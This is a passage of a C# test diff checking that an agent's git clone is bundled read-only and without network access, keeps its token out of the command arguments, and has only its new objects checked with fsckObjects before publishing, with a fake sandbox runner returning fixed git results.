network, no credential. + private static void ShouldBundleTheBranchOutReadOnly(IReadOnlyList inPublishRepo, string token, string cloneDir, string workspaceRoot) + { + var bundles = inPublishRepo.Where(s => s.Args.Contains("bundle")).ToList(); + + bundles.Count.ShouldBe(2, "the base and the objects the branch adds travel as separate bundles"); + + foreach (var bundle in bundles) + { + bundle.ReadOnlyPaths.ShouldBe(new[] { cloneDir }, "the agent clone is bound read-only while its objects are bundled"); + bundle.AllowNetwork.ShouldBeFalse(); + bundle.Args.ShouldNotContain(a => a.Contains(token)); + bundle.Args.Take(AgentCloneGitCommand.HardeningConfig.Count).ShouldBe(AgentCloneGitCommand.HardeningConfig); + IsOutside(workspaceRoot, bundle.Args[bundle.Args.ToList().IndexOf("create") + 1]).ShouldBeTrue("the bundle file is written outside the workspace"); + } + } + + /// The base the clone was made from is imported unchecked — the remote already holds it — and only the bundle of objects the branch adds is fetched under transfer.fsckObjects. Both imports get the push's budget, not the capture's. + private static void ShouldCheckOnlyTheObjectsTheBranchAdds(IReadOnlyList inPublishRepo) + { + var fetches = inPublishRepo.Where(s => s.Args.Contains("fetch")).ToList(); + var checkedFetch = fetches.Where(f => f.Args.Contains("transfer.fsckObjects=true")).ShouldHaveSingleItem(); + var baseFetch = fetches.Where(f => !f.Args.Contains("transfer.fsckObjects=true")).ShouldHaveSingleItem(); + + checkedFetch.Args.ShouldContain("codespace/run:refs/heads/codespace/run", "the checked import carries the branch"); + baseFetch.Args.ShouldContain("refs/codespace/publish-base:refs/codespace/publish-base", "the unchecked import carries only the base"); + baseFetch.Args.ShouldNotContain(a => a.StartsWith("codespace/run", StringComparison.Ordinal), "the branch never arrives unchecked when it adds objects"); + fetches.ShouldAllBe(f => !f.AllowNetwork && f.TimeoutSeconds == 300, "a bundle import is local, and as heavy as the push, so it gets the push's budget"); + } + + /// True when is neither nor anything below it. + private static bool IsOutside(string root, string path) + { + var relative = Path.GetRelativePath(root, path); + return Path.IsPathRooted(relative) || relative == ".." || relative.StartsWith(".." + Path.DirectorySeparatorChar, StringComparison.Ordinal); + } + + private static bool IsUnder(string root, string path) => Path.IsPathRooted(path) && !IsOutside(root, path); + + /// Records every spec and answers success with a fixed 40-char sha; answers `merge-base --is-ancestor` with "not an ancestor" (the branch adds commits); optionally answers the platform commit with "nothing to commit" and `diff --quiet` with "differs", as git does after an agent committed its own work. private sealed class PostTurnRunner(bool agentCommittedItself) : ISandboxRunner { public string Kind => "local"; @@ -520,6 +621,9 @@ public Task RunAsync(SandboxSpec spec, CancellationToken cancella if (agentCommittedItself && spec.Args.Contains("--quiet")) return Task.FromResult(new SandboxResult { Status = SandboxStatus.Failed, ExitCode = 1, Stdout = "", Stderr = "" }); + if (spec.Args.Contains("--is-ancestor")) + return Task.FromResult(new SandboxResult { Status = SandboxStatus.Failed, ExitCode = 1, Stdout = "", Stderr = "" }); + return Task.FromResult(new SandboxResult { Status = SandboxStatus.Success, ExitCode = 0, Stdout = new string('a', 40), Stderr = "" }); } }